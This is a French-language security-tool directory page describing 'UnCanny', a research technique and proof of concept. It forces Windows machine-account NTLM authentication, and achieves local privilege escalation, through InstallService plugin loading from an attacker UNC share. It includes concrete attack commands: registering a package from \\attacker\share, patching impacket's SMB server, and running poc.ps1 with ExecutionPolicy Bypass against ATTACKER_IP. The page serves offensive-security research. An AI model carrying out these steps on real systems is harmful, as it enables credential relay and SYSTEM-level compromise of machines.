Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
UnCanny — Une autre nouvelle primitive de coercition avec LPE - coercition NTLM de compte machine depuis un utilisateur non-administrateur via des expériences de résolution de plugin Windows Store InstallService | Kitploit
Outils/GitHubGitHub/0xhossam/uncanny
Escalade de PrivilègesExploitationMouvement LatéralArticles et RechercheApprentissage et ÉducationRed TeamingDéveloppement de Charges Utiles
GitHub0xhossam/uncanny

UnCanny

Une autre nouvelle primitive de coercition avec LPE - coercition NTLM de compte machine depuis un utilisateur non-administrateur via des expériences de résolution de plugin Windows Store InstallService

Voir le dépôt
871212il y a 3 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

UNCanny Coerce

L'idée derrière cette recherche était simple : je voulais trouver ma propre technique de coercition. J'ai commencé par chercher de nouvelles surfaces d'attaque RPC, mais après que Microsoft a ajouté la surveillance de l'activité RPC (https://techcommunity.microsoft.com/blog/microsoftdefenderatpblog/microsoft-defender-now-monitors-rpc-activity/4523368), j'ai décidé de prendre un chemin différent.

UNCanny est le résultat de ce terrier de lapin. Ce n'est pas quelque chose que je considérerais comme fiable pour de vraies opérations red team à cause de ses limitations, mais je pense quand même que les notes méritent d'être publiées pour quiconque explore le même domaine.


En bref, cette primitive est :

un utilisateur normal donne au service d'installation du Windows Store des métadonnées d'installation -> le service, s'exécutant en tant que système local, résout un "plugin" pour ce travail -> le résolveur finit par faire LoadLibraryW sur un chemin influencé par l'utilisateur -> ce chemin est un UNC -> NTLM sortant en tant que compte machine.

Le composant est le monde du service d'installation du Windows Store : InstallService.dll hébergé dans InstallService.exe, s'exécutant en tant que NT AUTHORITY\SYSTEM.

trouver la surface étrange

Le terrier de lapin a commencé avec InstallService.dll. Je regardais des composants Windows qui installent des paquets, restaurent l'état après redémarrage, reprennent des tâches échouées, lisent du contenu local/distant et chargent des plugins. Tout ce qui a ces quatre choses ensemble a généralement une confusion de frontière quelque part :

  • il a un côté appelant plutôt public car l'environnement utilisateur normal doit pouvoir demander des installations
  • il a un côté travailleur privilégié car la gestion des paquets/états nécessite des droits de service
  • il a de la sérialisation car le travail doit survivre au redémarrage
  • il a un chargement de plugins car Windows aime rendre les choses simples modulaires et effrayantes

La classe d'exécution intéressante était :

Windows.Internal.InstallService.Control.InstallServiceControl
IID:    e4893a99-9270-42b9-9a62-683d6ceed250
method: slot de vtable 8  ->  CreateInstallServiceWork(cv, caller, _, _, propertiesJson, optionsJson, out items)

alt text

Ce paramètre propertiesJson est là où réside le fun. Le comportement de l'installation est décrit par des champs JSON comme FulfillmentPluginId, SourceUri, PackageFamilyName, SerializedFulfillmentData, SkipCatalogLookup, ProductId, SkuId.

Au début, je pensais que le bug allait être "mettre un UNC dans SourceUri et laisser le service le lire". ça aurait été magnifique, mais Windows n'a pas été si généreux. J'ai rétro-conçu le chemin d'exécution intégré (CreateInstallServiceWorkFromBridge, InstallService.dll) et les plugins intégrés ne font tout simplement pas ça :

  • WU analyse le JSON et part via WinHTTP / Delivery Optimization. jamais SMB.
  • ChainedWork et XVC sont la même histoire ou ne sont même pas présents sur un client.
  • un SourceUri brut est soit rejeté rapidement, soit redirigé vers la validation du catalogue. CreateCatalogItemFromLocalData malgré son nom construit un élément de catalogue à partir du JSON sérialisé en mémoire, il n'ouvre pas un fichier.

Donc l'idée naïve est une impasse, cette fonctionnalité est très intéressante et je fais aussi d'autres recherches de primitives dessus et cela mérite d'être dit à voix haute pour que personne ne perde une semaine là-dessus :)

SYSTEM touche un chemin

Le seul endroit dans tout le flux de création/restauration où le service touche un chemin influencé par un attaquant est l'activation du plugin. La fonction est PluginHelpers::ActivatePlugin. Elle résout FulfillmentPluginId dans cet ordre :

  1. "WU" -> intégré
  2. "ChainedWork" -> intégré
  3. valeur trouvée dans StaticPluginMap (HKLM) -> CoCreateInstance d'un CLSID, ou activer une classe WinRT
  4. "XVC" -> fabrique Xbox
  5. tout le reste -> le traiter comme un nom de famille de paquet. FindPackagesForUser(pfn) -> prendre le InstalledLocation.Path de ce paquet -> LoadLibraryW( path + "\InstallServicePlugin.dll" ) -> GetProcAddress("ActivatePlugin")

La branche 5 est la bonne et PluginHelpers::IsPluginAvailable confirme la porte : elle retourne vrai pour tout FulfillmentPluginId qui correspond à un paquet installé, via exactement la même recherche FindPackagesForUser.

alt text

Donc si un FulfillmentPluginId pointe vers un paquet dont InstalledLocation est un UNC, alors InstallService.exe s'exécutant en tant que SYSTEM fait :

LoadLibraryW( \\attacker\share\InstallServicePlugin.dll )

LoadLibraryW doit se connecter à \\attacker\share et s'authentifier avant de pouvoir constater que la dll n'est pas là, et cette authentification est la coercition ; la dll n'a jamais besoin d'exister.

alt text

la primitive réelle

La seule question restante est "comment un utilisateur normal obtient-il un paquet dont InstalledLocation est un UNC". La réponse est l'enregistrement de fichiers lâches (loose-file registration), qui est une opération par utilisateur, non élevée :

Add-AppxPackage -Register \\attacker\share\AppxManifest.xml

Windows enregistre le paquet "sur place", donc le InstalledLocation enregistré est littéralement l'UNC que vous avez pointé. Ensuite, vous déclenchez le travail avec le nom de famille de ce paquet comme identifiant de plugin.

  1. Add-AppxPackage -Register \\attacker\share\AppxManifest.xml
  2. CreateInstallServiceWork( FulfillmentPluginId = <PFN de ce paquet> )

L'appelant est un utilisateur normal, l'authentification réseau est le compte machine.

alt text

Un utilisateur faiblement privilégié a déclenché, le compte machine s'est authentifié. Le propre chargeur de Windows a fait le contact UNC, pas l'appelant.

coercition via SMB

côté attaquant

Deux choses à régler avant d'exécuter :

  • impacket-smbserver rapporte le type de système de fichiers XTFS. AppX refuse de s'enregistrer sur des partages non NTFS (0x80073CFD). Patchez le champ FileSystemName dans impacket/smbserver.py en NTFS.

  • Le partage a besoin de AppxManifest.xml, logo.png, dummy.exe. Pas besoin de InstallServicePlugin.dll. MaxVersionTested dans le manifeste doit être ≤ la version cible (winver sur la cible pour vérifier).

Vous pouvez exécuter poc/setup.sh depuis la racine du dépôt sur Kali. Il peuple le partage, patche impacket, dépose poc.ps1 sur la cible via smbclient si TARGET_IP et TARGET_CREDS sont définis, et démarre le serveur ;-)

Ensuite, sur votre poste de travail Windows en tant qu'utilisateur faiblement privilégié depuis une session interactive :

powershell -ExecutionPolicy Bypass -File poc.ps1 -AttackerHost ATTACKER_IP -Share coerce

LPE

Il y a un deuxième aspect du même bug qui est plus direct que la coercition. Si InstallServicePlugin.dll existe réellement sur le chemin UNC du paquet, le service atteint toujours la même branche LoadLibraryW(\\attacker\share\InstallServicePlugin.dll), mais cette fois le chargeur réussit et la dll est mappée dans le processus du service d'installation du Windows Store en tant que NT AUTHORITY\SYSTEM.

Télécharger l’outil